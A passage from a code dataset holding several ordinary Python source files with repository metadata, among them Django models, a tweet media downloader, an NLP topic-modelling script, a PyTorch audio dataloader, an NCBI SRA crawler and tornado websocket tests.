"evdev.ecodes.LED_MISC", "line_number": 58, "usage_type": "attribute"}, {"api_name": "evdev.ecodes", "line_number": 58, "usage_type": "name"}, {"api_name": "evdev.InputDevice", "line_number": 68, "usage_type": "call"}, {"api_name": "errno.ENODEV", "line_number": 79, "usage_type": "name"}, {"api_name": "evdev.ecodes.EV_ABS", "line_number": 99, "usage_type": "attribute"}, {"api_name": "evdev.ecodes", "line_number": 99, "usage_type": "name"}, {"api_name": "evdev.ecodes.EV_REL", "line_number": 99, "usage_type": "attribute"}, {"api_name": "event.MotionEvent", "line_number": 101, "usage_type": "call"}, {"api_name": "event.period", "line_number": 109, "usage_type": "attribute"}, {"api_name": "evdev.ecodes.ABS_X", "line_number": 111, "usage_type": "attribute"}, {"api_name": "evdev.ecodes", "line_number": 111, "usage_type": "name"}, {"api_name": "evdev.ecodes.REL_X", "line_number": 111, "usage_type": "attribute"}, {"api_name": "evdev.ecodes.ABS_Y", "line_number": 112, "usage_type": "attribute"}, {"api_name": "evdev.ecodes", "line_number": 112, "usage_type": "name"}, {"api_name": "evdev.ecodes.REL_Y", "line_number": 112, "usage_type": "attribute"}, {"api_name": "evdev.ecodes.ABS_Z", "line_number": 113, "usage_type": "attribute"}, {"api_name": "evdev.ecodes", "line_number": 113, "usage_type": "name"}, {"api_name": "evdev.ecodes.REL_Z", "line_number": 113, "usage_type": "attribute"}, {"api_name": "evdev.ecodes.ABS_RX", "line_number": 114, "usage_type": "attribute"}, {"api_name": "evdev.ecodes", "line_number": 114, "usage_type": "name"}, {"api_name": "evdev.ecodes.REL_RX", "line_number": 114, "usage_type": "attribute"}, {"api_name": "evdev.ecodes.ABS_RY", "line_number": 115, "usage_type": "attribute"}, {"api_name": "evdev.ecodes", "line_number": 115, "usage_type": "name"}, {"api_name": "evdev.ecodes.REL_RY", "line_number": 115, "usage_type": "attribute"}, {"api_name": "evdev.ecodes.ABS_RZ", "line_number": 116, "usage_type": "attribute"}, {"api_name": "evdev.ecodes", "line_number": 116, "usage_type": "name"}, {"api_name": "evdev.ecodes.REL_RZ", "line_number": 116, "usage_type": "attribute"}, {"api_name": "evdev.ecodes.EV_KEY", "line_number": 120, "usage_type": "attribute"}, {"api_name": "evdev.ecodes", "line_number": 120, "usage_type": "name"}, {"api_name": "event.ButtonEvent", "line_number": 121, "usage_type": "call"}, {"api_name": "event.bnum", "line_number": 123, "usage_type": "attribute"}, {"api_name": "evdev.ecodes.BTN_0", "line_number": 123, "usage_type": "attribute"}, {"api_name": "evdev.ecodes", "line_number": 123, "usage_type": "name"}, {"api_name": "event.press", "line_number": 124, "usage_type": "attribute"}, {"api_name": "evdev.ecodes.EV_LED", "line_number": 125, "usage_type": "attribute"}, {"api_name": "evdev.ecodes", "line_number": 125, "usage_type": "name"}, {"api_name": "evdev.ecodes.LED_MISC", "line_number": 125, "usage_type": "attribute"}, {"api_name": "event.LedEvent", "line_number": 126, "usage_type": "call"}, {"api_name": "event.state", "line_number": 128, "usage_type": "attribute"}, {"api_name": "evdev.ecodes.EV_SYN", "line_number": 143, "usage_type": "attribute"}, {"api_name": "evdev.ecodes", "line_number": 143, "usage_type": "name"}, {"api_name": "event.MotionEvent", "line_number": 144, "usage_type": "name"}, {"api_name": "evdev.ecodes.EV_SYN", "line_number": 162, "usage_type": "attribute"}, {"api_name": "evdev.ecodes", "line_number": 162, "usage_type": "name"}, {"api_name": "event.MotionEvent", "line_number": 163, "usage_type": "name"}]}
{"seq_id": "39594407881", "text": "from django.urls import reverse_lazy\nfrom django.core.exceptions import ValidationError\nfrom django.db.models import (\n    Model, CharField, ForeignKey, ManyToManyField,\n    PositiveSmallIntegerField, DateTimeField, CASCADE,\n)\n\nfrom cities.models import City\n\n\nclass Route(Model):\n    name = CharField(\n        max_length=50, unique=True, verbose_name='Название маршрута'\n    )\n    travel_times = PositiveSmallIntegerField(\n        verbose_name='Общее время в пути'\n    )\n    from_city = ForeignKey(\n        to='cities.City', on_delete=CASCADE,\n        related_name='routes_start', verbose_name='Из какого города'\n    )\n    to_city = ForeignKey(\n        to='cities.City', on_delete=CASCADE,\n        related_name='routes_arrive', verbose_name='В какой город'\n    )\n    trains = ManyToManyField(\n        to='trains.Train',\n        related_name='routes',\n        verbose_name='Список поездов'\n    )\n\n    def __str__(self):\n        return f'Маршрут {self.name}, {self.from_city} - {self.to_city}'\n\n    class Meta:\n        verbose_name = 'Маршрут'\n        verbose_name_plural = 'Маршруты'\n        # unique_together = ('travel_time', 'from_city', 'to_city',)\n        ordering = ('travel_times',)\n\n    def clean(self):\n        if self.from_city == self.to_city:\n            raise ValidationError('Маршрут отправления/прибытия должен быть изменен')\n\n        # # Ниже пример неудачного кода как по мне. Проще определить атрибут unique_together в классе Meta\n        # # что я и сделал. Более того, не всегда django использует метод save при сохранении в бд,\n        # # при update метод save вроде как не используется\n        # qs = self.__class__.objects.filter(from_city=self.from_city,\n        #                           to_city=self.to_city,\n        #                           travel_times=self.travel_times).exclude(pk=self.pk)\n        # if qs.exists():\n        #     raise ValidationError('Ошибка. Такой маршрут уже есть')\n\n    def save(self, *args, **kwargs):\n        self.clean()\n        super().save(*args, **kwargs)\n\n    # def get_absolute_url(self):\n    #     return reverse_lazy(\n    #         'routes:detail', kwargs={'pk': self.pk, }\n    #     )\n", "repo_name": "Kirill67tyar/find-route-service-production", "sub_path": "routes/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 2462, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.db.models.Model", "line_number": 11, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 12, "usage_type": "call"}, {"api_name": "django.db.models.PositiveSmallIntegerField", "line_number": 15, "usage_type": "call"}, {"api_name": "django.db.models.ForeignKey", "line_number": 18, "usage_type": "call"}, {"api_name": "django.db.models.CASCADE", "line_number": 19, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 22, "usage_type": "call"}, {"api_name": "django.db.models.CASCADE", "line_number": 23, "usage_type": "name"}, {"api_name": "django.db.models.ManyToManyField", "line_number": 26, "usage_type": "call"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 43, "usage_type": "call"}]}
{"seq_id": "12925893139", "text": "import csv\nimport logging\nimport os\nimport re\nimport requests\nfrom sqlalchemy import orm\n\nfrom . import model\n\nlog = logging.getLogger(__name__)\n\n\ndef main_download(cli, args):\n    profile = cli.profile\n    dbmaker = model.connect(args.db, pool=True)\n    db = dbmaker()\n\n    img_re = re.compile(r'(?P<link>https?://(?:\\S+\\.)?twimg\\.com/\\S+)', re.IGNORECASE)\n\n    with open('media.csv', 'w') as fp:\n        writer = csv.writer(fp)\n        writer.writerow(['tweet id', 'name', 'url', 'error'])\n\n        for tweet in (\n            db.query(model.Tweet)\n            .execution_options(stream_results=True, max_row_buffer=1000)\n            .filter(model.Tweet.text.ilike('%http%.twimg.com/%'))\n        ):\n            for url in img_re.findall(tweet.text):\n                _, name = url.rsplit('/', 1)\n                if os.path.exists(name):\n                    log.debug(f'already have file={name}, skipping')\n                    continue\n                error = try_download_media(tweet, url, name)\n                writer.writerow([tweet.id, name, url, error or ''])\n\n\ndef try_download_media(tweet, url, path):\n    print(url)\n    try:\n        r = requests.get(url)\n        r.raise_for_status()\n    except Exception as ex:\n        log.exception(f'failed to download url={url} for tweet={tweet.id}')\n        return str(ex)\n    with open(path, 'wb') as fp:\n        fp.write(r.content)\n", "repo_name": "mmerickel/twitter-listener", "sub_path": "tweeter/media.py", "file_name": "media.py", "file_ext": "py", "file_size_in_byte": 1379, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 10, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 18, "usage_type": "call"}, {"api_name": "re.IGNORECASE", "line_number": 18, "usage_type": "attribute"}, {"api_name": "csv.writer", "line_number": 21, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 31, "usage_type": "call"}, {"api_name": "os.path", "line_number": 31, "usage_type": "attribute"}, {"api_name": "requests.get", "line_number": 41, "usage_type": "call"}]}
{"seq_id": "28883304143", "text": "import pandas as pd\n\n#Pour la modélisation\n\n#TfidVect permet d'obtenir une matrice de fréquences\nfrom sklearn.feature_extraction.text import TfidfVectorizer\n\n#Nmf decomposition de notre matrice docs X mots \n# en docs X topics et topics X mots\nfrom sklearn.decomposition import NMF as nmf\nfrom sklearn.feature_extraction import text\n\n#pour le prétraitement des documents\n\nfrom nltk.corpus import stopwords\nfrom nltk import word_tokenize, pos_tag\nfrom nltk.stem import WordNetLemmatizer\n\n#Pour le nettoyage des données\nimport re\nimport string\n\n#Elargissement des tableaux pandas pour la lisibilité\n#pd.set_option('max_colwidth', 150)\n\n\n#Chargement du csv\ndata = pd.read_csv(\"inaug_speeches.csv\", header = 0, encoding = 'latin1', engine = 'python')\n\n#Affichage du tableau\nprint(data.head())\n\n#On ne garde que les features Name et Speech\ndata = data.iloc[:, [1, 4] ]\n\n#On ne garde que les lignes correspondant aux premiers mandats (certains presidents n'ont pas fait de 2nd mandat)\ndata = data.drop_duplicates(subset=['Name'], keep ='first')\n\n#On actualise les index\ndata.reset_index\n\n#Les index sont mis sur les noms des présidents \ndata = data.set_index('Name')\n\n#Fonction de nettoyage\n\ndef clean1(text) :\n    #met en minuscule, enleve les caractères etranges, enleve les nombres et le texte entre crochets\n\n    #met en minuscule\n    text = text.lower()\n\n    #enleve les car chelous\n    text = re.sub('ï¿½ï¿½', ' ', text)\n\n    #enleve le texte entre crochet\n    text = re.sub('[%s]' % re.escape(string.punctuation), ' ',text)\n    \n    #enleve les mots qui contiennent des nombres\n    text = re.sub('\\w*\\d\\w*', ' ', text)\n\n    return text\n\n\nround1 = lambda x : clean1(x)\n\n#Nettoyage des speechs\ndata[\"text\"] = data[\"text\"].apply(round1)\nprint(data.head())\n\n\n\n#Lemmatization et extraction des noms uniquement\n\ndef nom(text) :\n    #tokenization du texte et extraction des noms\n\n    #Fonction silencieuse de filtrage des noms\n    is_noun = lambda pos : pos[:2] == 'NN'\n\n    #tokenisation et stockage dans une listes\n    tokenized = word_tokenize(text)\n\n    #stockage d'une fonction\n    wordlemmatizer = WordNetLemmatizer()\n\n    #Comprehension de liste pour extraire uniquement les noms\n    ToutNoms = [wordlemmatizer.lemmatize(word) for (word, pos) in pos_tag(tokenized) if is_noun(pos)]\n    \n    #On renvoi un string avec tout les noms\n    return ' '.join(ToutNoms)\n\n#Nouveau data frame avec les process\n\ndataNoms = pd.DataFrame(data.text.apply(nom))\n\nprint(dataNoms.head())\n\n\n#Creation d'une matrice Document termes\n\n#On rajoute des stopwords qui sont inutiles\nstopnouns = ['america', 'today', 'thing']\nallstopwords = text.ENGLISH_STOP_WORDS.union(stopnouns)\n\n#Creation d'une matrice faite uniquement de noms\nMnoms = TfidfVectorizer(stop_words = allstopwords, max_df = .8, min_df = .01)\n\n#On transforme les données pour qu'elles fitent dans la matrice\ndata_Mnoms = Mnoms.fit_transform(dataNoms.text)\n\n#Creation d'un data frame de la matrice docs X termes\n\nDocTermes = pd.DataFrame(data_Mnoms.toarray(), columns = Mnoms.get_feature_names_out())\n\nDocTermes.index = data.index\n\nprint(DocTermes.head())", "repo_name": "StagiairesMIASHS/Stage-TweetsNMF", "sub_path": "Lucas/NMF.py", "file_name": "NMF.py", "file_ext": "py", "file_size_in_byte": 3108, "program_lang": "python", "lang": "fr", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "pandas.read_csv", "line_number": 28, "usage_type": "call"}, {"api_name": "sklearn.feature_extraction.text", "line_number": 51, "usage_type": "name"}, {"api_name": "sklearn.feature_extraction.text.lower", "line_number": 51, "usage_type": "call"}, {"api_name": "sklearn.feature_extraction.text", "line_number": 54, "usage_type": "name"}, {"api_name": "re.sub", "line_number": 54, "usage_type": "call"}, {"api_name": "sklearn.feature_extraction.text", "line_number": 57, "usage_type": "name"}, {"api_name": "re.sub", "line_number": 57, "usage_type": "call"}, {"api_name": "re.escape", "line_number": 57, "usage_type": "call"}, {"api_name": "string.punctuation", "line_number": 57, "usage_type": "attribute"}, {"api_name": "sklearn.feature_extraction.text", "line_number": 60, "usage_type": "name"}, {"api_name": "re.sub", "line_number": 60, "usage_type": "call"}, {"api_name": "sklearn.feature_extraction.text", "line_number": 62, "usage_type": "name"}, {"api_name": "nltk.word_tokenize", "line_number": 82, "usage_type": "call"}, {"api_name": "sklearn.feature_extraction.text", "line_number": 82, "usage_type": "argument"}, {"api_name": "nltk.stem.WordNetLemmatizer", "line_number": 85, "usage_type": "call"}, {"api_name": "nltk.pos_tag", "line_number": 88, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 95, "usage_type": "call"}, {"api_name": "sklearn.feature_extraction.text.ENGLISH_STOP_WORDS.union", "line_number": 104, "usage_type": "call"}, {"api_name": "sklearn.feature_extraction.text.ENGLISH_STOP_WORDS", "line_number": 104, "usage_type": "attribute"}, {"api_name": "sklearn.feature_extraction.text", "line_number": 104, "usage_type": "name"}, {"api_name": "sklearn.feature_extraction.text.TfidfVectorizer", "line_number": 107, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 114, "usage_type": "call"}]}
{"seq_id": "30874533536", "text": "import pandas as pd\nimport numpy as np\nimport cv2\nimport torch\nfrom torchvision import transforms\nfrom torchvision.utils import save_image\nfrom torch.utils.data import DataLoader,Dataset\nfrom joblib import Parallel,delayed\nfrom tqdm import tqdm\n\nfrom engine import utils\nfrom constants import LUNG_DIS,PROCESSED_MEL_DIR\nfrom constants import MEAN_STD\nfrom dataloaders import data_tfms \n\n\nclass Audio2Image(Dataset):\n    def __init__(self,which='just_train',shuffle_pixels=False,num_samples=None,preload_to_ram=False,\n        dtype=torch.float32,disable_tqdm=False,tfms=None,return_path=False,filter_unilabels=False,normalize=True,**kwargs):\n\n        self.which = which\n        self.shuffle_pixels = shuffle_pixels\n        self.num_samples = num_samples\n        self.normalize = normalize\n        self.preload_to_ram = preload_to_ram\n        self.disable_tqdm = disable_tqdm\n\n        self.paths,self.labels = self.get_paths_labels()\n\n        if self.normalize:\n            mean,std = MEAN_STD[which.replace('_valid','_train')]\n            self.normalize_fn = transforms.Normalize(mean,std)\n        \n        self.tensorize = data_tfms.ToTensor(dtype=dtype)\n        self.randomize = data_tfms.Randomize2(p=1,dims=(0,1,2))\n\n        # Smaller dataset - Faster to load to ram and process\n        if self.preload_to_ram:\n            self.X = self.preload_data()\n\n    def get_paths_labels(self):\n        path = 'data/csvs/%s.csv.gz'%self.which\n        df = pd.read_csv(path)\n        if self.num_samples:\n            n = min(len(df),self.num_samples)\n            df = df.sample(n=n,random_state=42)\n\n        paths = df.Path.values\n        ds_name = 'icbhi' if 'icbhi' in self.which else 'just'\n        names = np.array([x.split('/')[-1].split('.')[0] for x in df.Path.values])\n        paths = ['%s%s/%s.png'%(PROCESSED_MEL_DIR,ds_name,x) for x in names]        \n        labels = df[LUNG_DIS].values\n        return paths,labels\n\n    def __len__(self):\n        return len(self.labels)\n\n    def preload_data(self):\n        res = Parallel(n_jobs=-1,prefer='threads')(delayed(self.load_item)(path) for path in tqdm(self.paths,leave=False,desc='Preloading_%s'%self.which,disable=self.disable_tqdm)) \n        res = np.concatenate([np.expand_dims(x, 0) for x in res])\n        return res        \n\n    def load_item(self,path):\n        img = cv2.imread(path)\n        img = cv2.cvtColor(img,cv2.COLOR_BGR2RGB)\n        # img = np.moveaxis(img, -1, 0)\n        return img\n\n    def __getitem__(self,idx):\n        path,label = self.paths[idx],self.labels[idx]\n        if self.preload_to_ram:\n            img = self.X[idx]\n\n        else:\n            img = self.load_item(path)\n        \n        img = self.tensorize(img)\n        img = img.permute((2, 0, 1))\n\n        if self.normalize:\n            img = self.normalize_fn(img)\n        \n        if self.shuffle_pixels:\n            img = self.randomize(img)\n        return img,label\n\n\ndef main():\n\n    # calculate_mean_std = True\n    calculate_mean_std = False\n    # ds_name = 'icbhi_train'\n    ds_name = 'just_train'\n\n    \n    if calculate_mean_std:\n        # Caclulate mean and std using this and save to constants for new datasets\n        ds = Audio2Image(which=ds_name,shuffle_pixels=False,normalize=False,num_samples=None,preload_to_ram=True)\n        dl = DataLoader(ds,batch_size=100,num_workers=32,shuffle=False,pin_memory=False)\n        utils.calculate_running_mean_std(dl,verbose=1)\n    else:\n        # visualize dataloaders\n        with utils.set_seed(42):\n            for shuffle_pixels in (False,True):\n                ds = Audio2Image(which=ds_name,shuffle_pixels=shuffle_pixels,normalize=True,num_samples=100,preload_to_ram=True)\n                dl = DataLoader(ds,batch_size=16,num_workers=8,shuffle=True,pin_memory=False)\n                for idx,(x,y) in enumerate(dl):\n                    print(ds.which,ds.shuffle_pixels,idx,x.shape,y.shape,utils.show_tensor_stats(x))\n                    path = utils.get_prepared_path('visualize_dl/%s_shuffle_%s/%s.jpg'%(ds.which,ds.shuffle_pixels,str(idx).zfill(5)))\n                    save_image(x,path,normalize=True,scale_each=False)\n\n                    if idx == 2:\n                        break", "repo_name": "mcintoshML/Data-Bias-Analysis", "sub_path": "dataloaders/audio2img.py", "file_name": "audio2img.py", "file_ext": "py", "file_size_in_byte": 4177, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "torch.utils.data.Dataset", "line_number": 17, "usage_type": "name"}, {"api_name": "torch.float32", "line_number": 19, "usage_type": "attribute"}, {"api_name": "constants.MEAN_STD", "line_number": 31, "usage_type": "name"}, {"api_name": "torchvision.transforms.Normalize", "line_number": 32, "usage_type": "call"}, {"api_name": "torchvision.transforms", "line_number": 32, "usage_type": "name"}, {"api_name": "dataloaders.data_tfms.ToTensor", "line_number": 34, "usage_type": "call"}, {"api_name": "dataloaders.data_tfms", "line_number": 34, "usage_type": "name"}, {"api_name": "dataloaders.data_tfms.Randomize2", "line_number": 35, "usage_type": "call"}, {"api_name": "dataloaders.data_tfms", "line_number": 35, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 50, "usage_type": "call"}, {"api_name": "constants.PROCESSED_MEL_DIR", "line_number": 51, "usage_type": "name"}, {"api_name": "constants.LUNG_DIS", "line_number": 52, "usage_type": "name"}, {"api_name": "joblib.Parallel", "line_number": 59, "usage_type": "call"}, {"api_name": "joblib.delayed", "line_number": 59, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 59, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.expand_dims", "line_number": 60, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 64, "usage_type": "call"}, {"api_name": "cv2.cvtColor", "line_number": 65, "usage_type": "call"}, {"api_name": "cv2.COLOR_BGR2RGB", "line_number": 65, "usage_type": "attribute"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 99, "usage_type": "call"}, {"api_name": "engine.utils.calculate_running_mean_std", "line_number": 100, "usage_type": "call"}, {"api_name": "engine.utils", "line_number": 100, "usage_type": "name"}, {"api_name": "engine.utils.set_seed", "line_number": 103, "usage_type": "call"}, {"api_name": "engine.utils", "line_number": 103, "usage_type": "name"}, {"api_name": "torch.utils.data.DataLoader", "line_number": 106, "usage_type": "call"}, {"api_name": "engine.utils.show_tensor_stats", "line_number": 108, "usage_type": "call"}, {"api_name": "engine.utils", "line_number": 108, "usage_type": "name"}, {"api_name": "engine.utils.get_prepared_path", "line_number": 109, "usage_type": "call"}, {"api_name": "engine.utils", "line_number": 109, "usage_type": "name"}, {"api_name": "torchvision.utils.save_image", "line_number": 110, "usage_type": "call"}]}
{"seq_id": "40519802852", "text": "from setuptools import find_packages\nfrom setuptools import setup\nfrom glob import glob\nfrom os.path import basename\nfrom os.path import splitext\nimport ccib\n\nwith open(\"README.md\", \"r\") as fh:\n    long_description = fh.read()\n\nsetup(\n    name=\"ccib\",\n    version=ccib.__version__,\n    author=\"CrowdStrike Solution Architects\",\n    author_email=\"integrations@crowdstrike.com\",\n    description=\"The CrowdStrike to Chronicle Intel Bridge\",\n    long_description=long_description,\n    long_description_content_type=\"text/markdown\",\n    url=\"https://github.com/crowdstrike/chronicle-intel-bridge\",\n    packages=find_packages(\"ccib\"),\n    package_dir={\"\": \"ccib\"},\n    py_modules=[splitext(basename(path))[0] for path in glob(\"ccib/*.py\")],\n    include_package_data=True,\n    install_requires=[\n        'crowdstrike-falconpy',\n        'google-api-python-client'\n    ],\n    extras_require={\n        'devel': [\n            'flake8',\n            'pylint',\n            'pytest',\n            'bandit',\n        ],\n    },\n    classifiers=[\n        \"Development Status :: 4 - Beta\",\n        \"Intended Audience :: Developers\",\n        \"Operating System :: Unix\",\n        \"Operating System :: POSIX\",\n        \"Operating System :: Microsoft :: Windows\",\n        \"Programming Language :: Python :: 3\",\n        \"Operating System :: OS Independent\",\n    ],\n    python_requires='>=3.11',\n)\n", "repo_name": "CrowdStrike/chronicle-intel-bridge", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 1369, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "setuptools.setup", "line_number": 11, "usage_type": "call"}, {"api_name": "ccib.__version__", "line_number": 13, "usage_type": "attribute"}, {"api_name": "setuptools.find_packages", "line_number": 20, "usage_type": "call"}, {"api_name": "os.path.splitext", "line_number": 22, "usage_type": "call"}, {"api_name": "os.path.basename", "line_number": 22, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 22, "usage_type": "call"}]}
{"seq_id": "71842618492", "text": "import re\nimport sys\nimport time\nimport urllib.request as ur\nfrom collections import defaultdict\n\n\ndef crawl_page(path):\n    print(f\"Start crawling {path}\")\n    sample_items = defaultdict(dict)\n    pattern_srx = re.compile(r'<dl class=\\\"rprtid\\\"><dt>Accession: </dt> <dd>(SRX\\d+)</dd></dl>')\n    response = ur.urlopen(path)\n    html = response.read().decode()\n    total_srx = pattern_srx.findall(html)\n    for each_srx in total_srx:\n        try:\n            print(f\"Start crawling {each_srx}\")\n            sra_url = f\"https://www.ncbi.nlm.nih.gov/sra/?term={each_srx}\"\n            sra_response = ur.urlopen(sra_url)\n            sra_html = sra_response.read().decode()\n            library_strategy = re.findall(r\"<div>Strategy: <span>(.*?)</span>\", sra_html)\n            layout = re.findall(r\"<div>Layout: <span>(.*?)</span></div>\", sra_html)\n            srr = re.findall(r'<a href=\\\"//trace.ncbi.nlm.nih.gov/Traces/sra/\\?run=(SRR\\d+)\\\">', sra_html)\n            if len(srr) >= 2:\n                raise ValueError(\"Invalid SRR numbers!\")\n            this_srr_out = \"{}.sra\".format(srr[0])\n            srr_url = \"https://ftp.ncbi.nih.gov/sra/sra-instant/reads/ByRun/sra/SRR/{}/{}/{}\".format(\n                srr[0][:6], srr[0], this_srr_out\n            )\n            sample_items[each_srx][\"library_strategy\"] = library_strategy[0]\n            sample_items[each_srx][\"layout\"] = layout[0]\n            sample_items[each_srx][\"sra_url\"] = srr_url\n            time.sleep(1)\n        except Exception as e:\n            print(e)\n    return sample_items\n\n\ndef write(sample_items, path_out):\n    print(f\"Start writing to {path_out}\")\n    with open(path_out, \"w+\") as out:\n        out.write(\"sample\\tlibrary_strategy\\tlayout\\tsra_url\\n\")\n        for each_sample in sample_items:\n            this_sample_values = [sample_items[each_sample][each_item] for each_item in [\"library_strategy\",\n                                                                                         \"layout\", \"sra_url\"]]\n            print(this_sample_values)\n            out.write(each_sample + \"\\t\" + \"\\t\".join(this_sample_values) + \"\\n\")\n\n\ndef main():\n    path = sys.argv[1]\n    sample_items = crawl_page(path)\n    write(sample_items, sys.argv[2])\n\n\nif __name__ == '__main__':\n    main()\n", "repo_name": "lemonsky123/codes-cfea", "sub_path": "parse_raw_data/parseRawData_2.py", "file_name": "parseRawData_2.py", "file_ext": "py", "file_size_in_byte": 2256, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "78", "api": [{"api_name": "collections.defaultdict", "line_number": 10, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 11, "usage_type": "call"}, {"api_name": "urllib.request.urlopen", "line_number": 12, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 12, "usage_type": "name"}, {"api_name": "urllib.request.urlopen", "line_number": 19, "usage_type": "call"}, {"api_name": "urllib.request", "line_number": 19, "usage_type": "name"}, {"api_name": "re.findall", "line_number": 21, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 22, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 23, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 33, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 51, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 53, "usage_type": "attribute"}]}
{"seq_id": "14118854469", "text": "import logging\n\nfrom rpy2.robjects.packages import importr\nimport rpy2.robjects as robjects\nfrom rpy2.rinterface import RRuntimeError\n\nlogger = logging.getLogger(__name__)\n\n\ndef run_r(function_string, *args, **kwargs):\n    try:\n        function = robjects.r[function_string]\n        return function(*args, **kwargs)\n    except RRuntimeError as e:\n        try:\n            new_e = RRuntimeError(str(e) + '\\n' + '\\n'.join(robjects.r('unlist(traceback())')))\n        except Exception as traceback_exc:\n            raise RRuntimeError('An error occurred while getting traceback from R: ' + str(traceback_exc) + '\\n' +\n                                str(e))\n        raise new_e\n", "repo_name": "glasgowcompbio/FrAnK", "sub_path": "django_projects/support/rsupport.py", "file_name": "rsupport.py", "file_ext": "py", "file_size_in_byte": 674, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "logging.getLogger", "line_number": 7, "usage_type": "call"}, {"api_name": "rpy2.robjects.r", "line_number": 12, "usage_type": "attribute"}, {"api_name": "rpy2.robjects", "line_number": 12, "usage_type": "name"}, {"api_name": "rpy2.rinterface.RRuntimeError", "line_number": 14, "usage_type": "name"}, {"api_name": "rpy2.rinterface.RRuntimeError", "line_number": 16, "usage_type": "call"}, {"api_name": "rpy2.robjects.r", "line_number": 16, "usage_type": "call"}, {"api_name": "rpy2.robjects", "line_number": 16, "usage_type": "name"}, {"api_name": "rpy2.rinterface.RRuntimeError", "line_number": 18, "usage_type": "call"}]}
{"seq_id": "21404636016", "text": "import tornado\nimport unittest\nfrom tornado.testing import AsyncHTTPTestCase\nfrom tornado_drizzle.drizzle_web_socket import DrizzleWebSocket, DrizzleHandler\nfrom tornado_drizzle.subscriber import subscriptions, publish\nfrom tornado_drizzle.conf import init_drizzle\nfrom tornado import gen\nfrom tornado.ioloop import IOLoop\nimport json\nfrom copy import deepcopy\nfrom datetime import timedelta\n\n\nclass TestDrizzleWebSocket(DrizzleWebSocket):\n    pass\n\n\nclient_msg = {\n    'resource': 'test',\n    'action': 'get',\n}\nclient_sockets = []\nrequest_id = 99\n\n\nclass TestHandler(DrizzleHandler):\n\n    @gen.coroutine\n    def test_subscribe(self, message):\n        yield self.subscribe('__test__')\n        return {}\n\n    test_prop = None\n\n    @gen.coroutine\n    def get(self, message):\n        return {'testkey': 'testval'}\n\n    @gen.coroutine\n    def test_exception(self, message):\n        0 / 0\n\n    @gen.coroutine\n    def test_subscribe(self, message):\n        yield self.subscribe('__test__')\n        return {}\n\n    @gen.coroutine\n    def test_publish(self, message):\n        yield publish(\"__test__\", {\"key\": \"val\"})\n\n\nclass TestWebSockets(AsyncHTTPTestCase):\n\n    @property\n    def ws_url(self):\n        if not hasattr(self, '_ws_url'):\n            self._ws_url = \"ws://127.0.0.1:{}/ws\".format(self.get_http_port())\n        return self._ws_url\n\n    def get_new_ioloop(self):\n        return IOLoop.instance()\n\n    def get_app(self):\n\n        resournce_handlers = {\n            \"test\": TestHandler\n        }\n        app = tornado.web.Application([\n            (r'/ws', TestDrizzleWebSocket)\n        ])\n        init_drizzle(app, resournce_handlers, self.io_loop)\n        return app\n\n    @tornado.testing.gen_test\n    def test_websocket_client_subscription_to_global_key(self):\n        \"\"\"\n            websocket should subscribe to global subscription key __all__\n            while opening a new connection\n        \"\"\"\n\n        client_count = 100\n        old_global_subscriber_count = len(subscriptions.get('__all__', []))\n        for i in range(client_count):\n            client_socket = yield tornado.websocket.websocket_connect(self.ws_url)\n            client_sockets.append(client_socket)\n        global_subscriber_count_after_all_connection = len(subscriptions['__all__'])\n        self.assertEqual(\n            old_global_subscriber_count,\n            global_subscriber_count_after_all_connection - client_count\n        )\n        client_socket.close()\n        yield gen.sleep(0.01)\n        new_global_subscriber_after_close = len(subscriptions['__all__'])\n        self.assertEqual(\n            global_subscriber_count_after_all_connection,\n            new_global_subscriber_after_close + 1\n        )\n\n    @tornado.testing.gen_test\n    def test_execution_of_drizzle_handler_function(self):\n\n        \"\"\"\n            websocket should subscribe to global subscription key __all__\n            while opening a new connection\n        \"\"\"\n        global request_id\n        client_socket = yield tornado.websocket.websocket_connect(self.ws_url)\n        client_msg['request_id'] = 'test123'\n        client_socket.write_message(json.dumps(client_msg))\n        msg = yield client_socket.read_message()\n        json_msg = json.loads(msg)\n        self.assertEqual(\n            json_msg,\n            {\n                \"data\": {\n                    \"testkey\": 'testval'\n                },\n                \"request_id\": 'test123'\n            }\n        )\n\n    @tornado.testing.gen_test\n    def test_expected_json_encodable_string(self):\n        \"\"\"\n            request should be in json format\n        \"\"\"\n        client_socket = yield tornado.websocket.websocket_connect(self.ws_url)\n        client_msg = \"normal string, not json encodable\"\n        client_socket.write_message(client_msg)\n        msg = yield client_socket.read_message()\n        json_msg = json.loads(msg)\n        self.assertEqual(\n            json_msg,\n            {\n                'code': 